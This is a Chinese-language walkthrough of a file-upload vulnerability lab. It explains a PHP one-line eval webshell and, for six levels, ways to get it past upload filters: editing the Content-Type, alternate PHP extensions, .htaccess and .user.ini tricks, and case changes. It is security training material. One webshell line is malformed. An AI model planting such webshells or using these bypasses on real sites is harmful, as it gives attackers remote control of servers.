一句话木马
<?php @eval($_POST['x']);?>
基本原理:利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀或者蚁剑即可获取和控制整个网站目录。表示后面即使执行错误,也不报错。
分析:
<?php > 基本框架
@符号的意思是不报错,即使执行错误,也不报错。
密码为 x 原因:
php里面几个超全局变量:$_GET
、$_POST
就是其中之一。$_POST['a']
; 的意思就 是a这个变量,用post的方法接收。
eval的用处:
eval()把字符串作为PHP代码执行。
例如:eval("echo 'a'");其就等于直接 echo 'a';
再来看看<?php eval($_POST['pw']); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';这时代码就变成<?php eval("echo 'a';"); ?>连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行。也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马。
上传成功后就可以通过 蚁剑或者菜刀连接
pass-1
查看源码发现是前端JS校验 直接禁用 js
禁用后直接上传 木马文件
令 x=phpinfo() (用来显示php的一些信息)
pass-2
第二关为后端检测 不能使用上一关的办法 需要用burp抓包 修改文件类型
Content-Type:也叫互联网媒体类型(Internet Media Type)或者 MIME 类型,
在 HTTP 协议消息头中,它用来表示具体请求中的媒体类型信息。
例如:text/html 代表 HTML 格式image/gif 代表 GIF 图片Image/png 代表 GIF 图片application/octet-stream 二进制流,不知道文件类型(PHP)application/json 代表 JSON 类型 ------培训ppt
抓包
修改文件类型
放包
上传成功
pass-3
黑名单绕过
禁止上传 asp....php后缀文件 但是黑名单不完全 可以通过一些畸形后缀名通过 php1、php2、php3、php4、php5、php7、pht、phtml、 phar、 phps、Asp、aspx、cer、cdx、asa、asax、jsp、jspa、jspx等
将后缀名改成 .php3
前提条件 pache的httpd.conf有配置代码AddType application/x-httpd-php .pht .phtml .phps .php5 .pht
pass-4
可以看到禁止上传畸形后缀名
可以先上传.htaccess SetHandler application/x-httpd-php
可以把任何文件形式解析为php
上传.htaccess后 再把一句话木马的后缀改为.jpg上传 即可成功
pass-5
观察源码
发现不仅禁用了畸形后缀名 还禁用了.htaccess
所以以上方法都不可以 查看源码提示
查询可知可以用.ini做
user.ini : 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被
CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用
.htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web
根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI
设置可被识别。
两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是
.user.ini。
user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
————————百度
php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
所以首先创建一个 user.ini文件
.user.ini文件里的意思是:所有的php文件都自动包含721.jpg文件。.user.ini相当于一个用户自定义的php.ini
接着上传721.jpg文件,文件内容为:<?php @eval($_POST['x721]);?>
上传完成后成功。
pass-6
查看源码
与上一题相比 禁用了.ini 但是没有使用strtolower()函数,可以使用大小写绕过黑名单
将文件后缀改为 .Php 直接上传